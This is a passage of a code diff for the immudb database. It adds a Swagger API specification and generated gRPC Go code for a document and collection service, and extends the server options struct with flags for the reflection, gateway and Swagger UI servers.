response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2CollectionCreateRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/collections/collectionDelete": { + "post": { + "operationId": "ImmuService_CollectionDelete", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "properties": {} + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2CollectionDeleteRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/collections/collectionList": { + "post": { + "operationId": "ImmuService_CollectionList", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemav2CollectionListResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2CollectionListRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/documents/documentInsert": { + "post": { + "operationId": "ImmuService_DocumentInsert", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemaVerifiableTx" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2DocumentInsertRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/documents/documentSearch": { + "post": { + "operationId": "ImmuService_DocumentSearch", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemav2DocumentSearchResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemav2DocumentSearchRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, + "/api/v2/system/login": { + "post": { + "operationId": "ImmuService_Login", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/immudbschemav2LoginResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/immudbschemav2LoginRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + } + }, + "definitions": { + "immudbschemav2LoginRequest": { + "type": "object", + "properties": { + "username": { + "type": "string" + }, + "password": { + "type": "string" + }, + "database": { + "type": "string" + }, + "writeAccess": { + "type": "boolean" + } + } + }, + "immudbschemav2LoginResponse": { + "type": "object", + "properties": { + "token": { + "type": "string" + } + } + }, + "protobufAny": { + "type": "object", + "properties": { + "type_url": { + "type": "string", + "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." + }, + "value": { + "type": "string", + "format": "byte", + "description": "Must be a valid serialized protocol buffer of the above specified type." + } + }, + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + }, + "protobufNullValue": { + "type": "string", + "enum": [ + "NULL_VALUE" + ], + "default": "NULL_VALUE", + "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." + }, + "runtimeError": { + "type": "object", + "properties": { + "error": { + "type": "string" + }, + "code": { + "type": "integer", + "format": "int32" + }, + "message": { + "type": "string" + }, + "details": { + "type": "array", + "items": { + "$ref": "#/definitions/protobufAny" + } + } + } + }, + "schemaDualProof": { + "type": "object", + "properties": { + "sourceTxHeader": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Header of the source (earlier) transaction" + }, + "targetTxHeader": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Header of the target (latter) transaction" + }, + "inclusionProof": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Inclusion proof of the source transaction hash in the main Merkle Tree" + }, + "consistencyProof": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Consistency proof between Merkle Trees in the source and target transactions" + }, + "targetBlTxAlh": { + "type": "string", + "format": "byte", + "title": "Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree" + }, + "lastInclusionProof": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Inclusion proof of the targetBlTxAlh in the target Merkle Tree" + }, + "linearProof": { + "$ref": "#/definitions/schemaLinearProof", + "title": "Linear proof starting from targetBlTxAlh to the final state value" + }, + "LinearAdvanceProof": { + "$ref": "#/definitions/schemaLinearAdvanceProof", + "title": "Proof of consistency between some part of older linear chain and newer Merkle Tree" + } + }, + "title": "DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs" + }, + "schemaEntry": { + "type": "object", + "properties": { + "tx": { + "type": "string", + "format": "uint64", + "title": "Transaction id at which the target value was set (i.e. not the reference transaction id)" + }, + "key": { + "type": "string", + "format": "byte", + "title": "Key of the target value (i.e. not the reference entry)" + }, + "value": { + "type": "string", + "format": "byte", + "title": "Value" + }, + "referencedBy": { + "$ref": "#/definitions/schemaReference", + "title": "If the request was for a reference, this field will keep information about the reference entry" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Metadata of the target entry (i.e. not the reference entry)" + }, + "expired": { + "type": "boolean", + "title": "If set to true, this entry has expired and the value is not retrieved" + }, + "revision": { + "type": "string", + "format": "uint64", + "title": "Key's revision, in case of GetAt it will be 0" + } + } + }, + "schemaExpiration": { + "type": "object", + "properties": { + "expiresAt": { + "type": "string", + "format": "int64", + "title": "Entry expiration time (unix timestamp in seconds)" + } + } + }, + "schemaInclusionProof": { + "type": "object", + "properties": { + "leaf": { + "type": "integer", + "format": "int32", + "title": "Index of the leaf for which the proof is generated" + }, + "width": { + "type": "integer", + "format": "int32", + "title": "Width of the tree at the leaf level" + }, + "terms": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Proof terms (selected hashes from the tree)" + } + } + }, + "schemaKVMetadata": { + "type": "object", + "properties": { + "deleted": { + "type": "boolean", + "title": "True if this entry denotes a logical deletion" + }, + "expiration": { + "$ref": "#/definitions/schemaExpiration", + "title": "Entry expiration information" + }, + "nonIndexable": { + "type": "boolean", + "title": "If set to true, this entry will not be indexed and will only be accessed through GetAt calls" + } + } + }, + "schemaLinearAdvanceProof": { + "type": "object", + "properties": { + "linearProofTerms": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "terms for the linear chain" + }, + "inclusionProofs": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaInclusionProof" + }, + "title": "inclusion proofs for steps on the linear chain" + } + }, + "title": "LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\nand the new Merkle Tree" + }, + "schemaLinearProof": { + "type": "object", + "properties": { + "sourceTxId": { + "type": "string", + "format": "uint64", + "title": "Starting transaction of the proof" + }, + "TargetTxId": { + "type": "string", + "format": "uint64", + "title": "End transaction of the proof" + }, + "terms": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "List of terms (inner hashes of transaction entries)" + } + }, + "title": "LinearProof contains the linear part of the proof (outside the main Merkle Tree)" + }, + "schemaReference": { + "type": "object", + "properties": { + "tx": { + "type": "string", + "format": "uint64", + "title": "Transaction if when the reference key was set" + }, + "key": { + "type": "string", + "format": "byte", + "title": "Reference key" + }, + "atTx": { + "type": "string", + "format": "uint64", + "title": "At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Metadata of the reference entry" + }, + "revision": { + "type": "string", + "format": "uint64", + "title": "Revision of the reference entry" + } + } + }, + "schemaSignature": { + "type": "object", + "properties": { + "publicKey": { + "type": "string", + "format": "byte" + }, + "signature": { + "type": "string", + "format": "byte" + } + } + }, + "schemaTx": { + "type": "object", + "properties": { + "header": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Transaction header" + }, + "entries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaTxEntry" + }, + "title": "Raw entry values" + }, + "kvEntries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaEntry" + }, + "title": "KV entries in the transaction (parsed)" + }, + "zEntries": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaZEntry" + }, + "title": "Sorted Set entries in the transaction (parsed)" + } + } + }, + "schemaTxEntry": { + "type": "object", + "properties": { + "key": { + "type": "string", + "format": "byte", + "title": "Raw key value (contains 1-byte prefix for kind of the key)" + }, + "hValue": { + "type": "string", + "format": "byte", + "title": "Value hash" + }, + "vLen": { + "type": "integer", + "format": "int32", + "title": "Value length" + }, + "metadata": { + "$ref": "#/definitions/schemaKVMetadata", + "title": "Entry metadata" + }, + "value": { + "type": "string", + "format": "byte", + "description": "value, must be ignored when len(value) == 0 and vLen \u003e 0.\nOtherwise sha256(value) must be equal to hValue." + } + } + }, + "schemaTxHeader": { + "type": "object", + "properties": { + "id": { + "type": "string", + "format": "uint64", + "title": "Transaction ID" + }, + "prevAlh": { + "type": "string", + "format": "byte", + "title": "State value (Accumulative Hash - Alh) of the previous transaction" + }, + "ts": { + "type": "string", + "format": "int64", + "title": "Unix timestamp of the transaction (in seconds)" + }, + "nentries": { + "type": "integer", + "format": "int32", + "title": "Number of entries in a transaction" + }, + "eH": { + "type": "string", + "format": "byte", + "title": "Entries Hash - cumulative hash of all entries in the transaction" + }, + "blTxId": { + "type": "string", + "format": "uint64", + "title": "Binary linking tree transaction ID\n(ID of last transaction already in the main Merkle Tree)" + }, + "blRoot": { + "type": "string", + "format": "byte", + "title": "Binary linking tree root (Root hash of the Merkle Tree)" + }, + "version": { + "type": "integer", + "format": "int32", + "title": "Header version" + }, + "metadata": { + "$ref": "#/definitions/schemaTxMetadata", + "title": "Transaction metadata" + } + } + }, + "schemaTxMetadata": { + "type": "object", + "properties": { + "truncatedTxID": { + "type": "string", + "format": "uint64", + "title": "Entry expiration information" + } + }, + "title": "TxMetadata contains metadata set to whole transaction" + }, + "schemaVerifiableTx": { + "type": "object", + "properties": { + "tx": { + "$ref": "#/definitions/schemaTx", + "title": "Transaction to verify" + }, + "dualProof": { + "$ref": "#/definitions/schemaDualProof", + "title": "Proof for the transaction" + }, + "signature": { + "$ref": "#/definitions/schemaSignature", + "title": "Signature for the new state value" + } + } + }, + "schemaZEntry": { + "type": "object", + "properties": { + "set": { + "type": "string", + "format": "byte", + "title": "Name of the sorted set" + }, + "key": { + "type": "string", + "format": "byte", + "title": "Referenced key" + }, + "entry": { + "$ref": "#/definitions/schemaEntry", + "title": "Referenced entry" + }, + "score": { + "type": "number", + "format": "double", + "title": "Sorted set element's score" + }, + "atTx": { + "type": "string", + "format": "uint64", + "title": "At which transaction the key is bound,\n0 if reference is not bound and should read the most recent reference" + } + } + }, + "schemav2CollectionCreateRequest": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "primaryKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/schemav2PossibleIndexValue" + } + }, + "indexKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/schemav2PossibleIndexValue" + } + } + } + }, + "schemav2CollectionDeleteRequest": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "schemav2CollectionInformation": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "primaryKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/schemav2PossibleIndexValue" + } + }, + "indexKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/schemav2PossibleIndexValue" + } + } + } + }, + "schemav2CollectionListRequest": { + "type": "object" + }, + "schemav2CollectionListResponse": { + "type": "object", + "properties": { + "collections": { + "type": "array", + "items": { + "$ref": "#/definitions/schemav2CollectionInformation" + } + } + } + }, + "schemav2DocumentInsertRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "document": { + "type": "array", + "items": { + "type": "object" + } + } + } + }, + "schemav2DocumentSearchRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "query": { + "type": "object", + "additionalProperties": { + "type": "object" + } + }, + "page": { + "type": "integer", + "format": "int64" + }, + "perPage": { + "type": "integer", + "format": "int64" + } + } + }, + "schemav2DocumentSearchResponse": { + "type": "object", + "properties": { + "results": { + "type": "array", + "items": { + "type": "object" + } + }, + "page": { + "type": "integer", + "format": "int64" + }, + "perPage": { + "type": "integer", + "format": "int64" + }, + "entriesLeft": { + "type": "integer", + "format": "int64" + } + } + }, + "schemav2PossibleIndexValue": { + "type": "object", + "properties": { + "number_value": { + "type": "number", + "format": "double", + "description": "Represents a double value." + }, + "string_value": { + "type": "string", + "description": "Represents a string value." + }, + "bool_value": { + "type": "boolean", + "description": "Represents a boolean value." + }, + "int_value": { + "type": "string", + "format": "int64", + "title": "Represents a int64 value" + } + } + } + }, + "securityDefinitions": { + "bearer": { + "type": "apiKey", + "description": "Authentication token, prefixed by Bearer: Bearer \u003ctoken\u003e", + "name": "Authorization", + "in": "header" + } + }, + "security": [ + { + "bearer": [] + } + ] +} diff --git a/pkg/api/schemav2/schemav2_grpc.pb.go b/pkg/api/schemav2/schemav2_grpc.pb.go new file mode 100644 index 0000000000..67f83c61c4 --- /dev/null +++ b/pkg/api/schemav2/schemav2_grpc.pb.go @@ -0,0 +1,281 @@ +// Code generated by protoc-gen-go-grpc. DO NOT EDIT. + +package schemav2 + +import ( + context "context" + schema "github.com/codenotary/immudb/pkg/api/schema" + empty "github.com/golang/protobuf/ptypes/empty" + grpc "google.golang.org/grpc" + codes "google.golang.org/grpc/codes" + status "google.golang.org/grpc/status" +) + +// This is a compile-time assertion to ensure that this generated file +// is compatible with the grpc package it is being compiled against. +// Requires gRPC-Go v1.32.0 or later. +const _ = grpc.SupportPackageIsVersion7 + +// ImmuServiceClient is the client API for ImmuService service. +// +// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. +type ImmuServiceClient interface { + Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) + DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) + DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) + CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) + CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) + CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) +} + +type immuServiceClient struct { + cc grpc.ClientConnInterface +} + +func NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient { + return &immuServiceClient{cc} +} + +func (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) { + out := new(LoginResponse) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/Login", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { + out := new(schema.VerifiableTx) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/DocumentInsert", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { + out := new(DocumentSearchResponse) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/DocumentSearch", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { + out := new(CollectionInformation) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionCreate", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { + out := new(CollectionListResponse) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionList", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionDelete", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +// ImmuServiceServer is the server API for ImmuService service. +// All implementations should embed UnimplementedImmuServiceServer +// for forward compatibility +type ImmuServiceServer interface { + Login(context.Context, *LoginRequest) (*LoginResponse, error) + DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) + DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) + CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) + CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) + CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) +} + +// UnimplementedImmuServiceServer should be embedded to have forward compatible implementations. +type UnimplementedImmuServiceServer struct { +} + +func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") +} +func (UnimplementedImmuServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") +} +func (UnimplementedImmuServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") +} +func (UnimplementedImmuServiceServer) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") +} +func (UnimplementedImmuServiceServer) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionList not implemented") +} +func (UnimplementedImmuServiceServer) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") +} + +// UnsafeImmuServiceServer may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to ImmuServiceServer will +// result in compilation errors. +type UnsafeImmuServiceServer interface { + mustEmbedUnimplementedImmuServiceServer() +} + +func RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) { + s.RegisterService(&ImmuService_ServiceDesc, srv) +} + +func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(LoginRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).Login(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/Login", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).Login(ctx, req.(*LoginRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentInsertRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).DocumentInsert(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/DocumentInsert", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentSearchRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).DocumentSearch(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/DocumentSearch", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionCreateRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).CollectionCreate(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/CollectionCreate", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionListRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).CollectionList(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/CollectionList", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuService_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionDeleteRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).CollectionDelete(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuService/CollectionDelete", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) + } + return interceptor(ctx, in, info, handler) +} + +// ImmuService_ServiceDesc is the grpc.ServiceDesc for ImmuService service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var ImmuService_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "immudb.schemav2.ImmuService", + HandlerType: (*ImmuServiceServer)(nil), + Methods: []grpc.MethodDesc{ + { + MethodName: "Login", + Handler: _ImmuService_Login_Handler, + }, + { + MethodName: "DocumentInsert", + Handler: _ImmuService_DocumentInsert_Handler, + }, + { + MethodName: "DocumentSearch", + Handler: _ImmuService_DocumentSearch_Handler, + }, + { + MethodName: "CollectionCreate", + Handler: _ImmuService_CollectionCreate_Handler, + }, + { + MethodName: "CollectionList", + Handler: _ImmuService_CollectionList_Handler, + }, + { + MethodName: "CollectionDelete", + Handler: _ImmuService_CollectionDelete_Handler, + }, + }, + Streams: []grpc.StreamDesc{}, + Metadata: "schemav2.proto", +} diff --git a/pkg/server/options.go b/pkg/server/options.go index 62376c9e5b..61a7617a8e 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -36,41 +36,44 @@ const DefaultDBName = "defaultdb" // Options server options list type Options struct { - Dir string - Network string - Address string - Port int - Config string - Pidfile string - Logfile string - TLSConfig *tls.Config - auth bool - MaxRecvMsgSize int - NoHistograms bool - Detached bool - MetricsServer bool - MetricsServerPort int - WebServer bool - WebServerPort int - DevMode bool - AdminPassword string `json:"-"` - ForceAdminPassword bool - systemAdminDBName string - defaultDBName string - listener net.Listener - usingCustomListener bool - maintenance bool - SigningKey string - synced bool - RemoteStorageOptions *RemoteStorageOptions - StreamChunkSize int - TokenExpiryTimeMin int - PgsqlServer bool - PgsqlServerPort int - ReplicationOptions *ReplicationOptions - SessionsOptions *sessions.Options - PProf bool - LogFormat string + Dir string + Network string + Address string + Port int + Config string + Pidfile string + Logfile string + TLSConfig *tls.Config + auth bool + MaxRecvMsgSize int + NoHistograms bool + Detached bool + MetricsServer bool + MetricsServerPort int + WebServer bool + WebServerPort int + DevMode bool + AdminPassword string `json:"-"` + ForceAdminPassword bool + systemAdminDBName string + defaultDBName string + listener net.Listener + usingCustomListener bool + maintenance bool + SigningKey string + synced bool + RemoteStorageOptions *RemoteStorageOptions + StreamChunkSize int + TokenExpiryTimeMin int + PgsqlServer bool + PgsqlServerPort int + ReplicationOptions *ReplicationOptions + SessionsOptions *sessions.Options + PProf bool + LogFormat string + ReflectionServerEnabled bool + GatewayServerEnabled bool + SwaggerUIEnabled bool } type RemoteStorageOptions struct { @@ -101,38 +104,41 @@ type ReplicationOptions struct { // DefaultOptions returns default server options func DefaultOptions() *Options { return &Options{ - Dir: "./data", - Network: "tcp", - Address: "0.0.0.0", - Port: 3322, - Config: "configs/immudb.toml", - Pidfile: "", - Logfile: "", - TLSConfig: nil, - auth: true, - MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb - NoHistograms: false, - Detached: false, - MetricsServer: true, - MetricsServerPort: 9497, - WebServer: true, - WebServerPort: 8080, - DevMode: false, - AdminPassword: auth.SysAdminPassword, - ForceAdminPassword: false, - systemAdminDBName: SystemDBName, - defaultDBName: DefaultDBName, - usingCustomListener: false, - maintenance: false, - synced: true, - RemoteStorageOptions: DefaultRemoteStorageOptions(), - StreamChunkSize: stream.DefaultChunkSize, - TokenExpiryTimeMin: 1440, - PgsqlServer: false, - PgsqlServerPort: 5432, - ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, - SessionsOptions: sessions.DefaultOptions(), - PProf: false, + Dir: "./data", + Network: "tcp", + Address: "0.0.0.0", + Port: 3322, + Config: "configs/immudb.toml", + Pidfile: "", + Logfile: "", + TLSConfig: nil, + auth: true, + MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb + NoHistograms: false, + Detached: false, + MetricsServer: true, + MetricsServerPort: 9497, + WebServer: true, + WebServerPort: 8080, + DevMode: false, + AdminPassword: auth.SysAdminPassword, + ForceAdminPassword: false, + systemAdminDBName: SystemDBName, + defaultDBName: DefaultDBName, + usingCustomListener: false, + maintenance: false, + synced: true, + RemoteStorageOptions: DefaultRemoteStorageOptions(), + StreamChunkSize: stream.DefaultChunkSize, + TokenExpiryTimeMin: 1440, + PgsqlServer: false, + PgsqlServerPort: 5432, + ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, + SessionsOptions: sessions.DefaultOptions(), + PProf: false, + 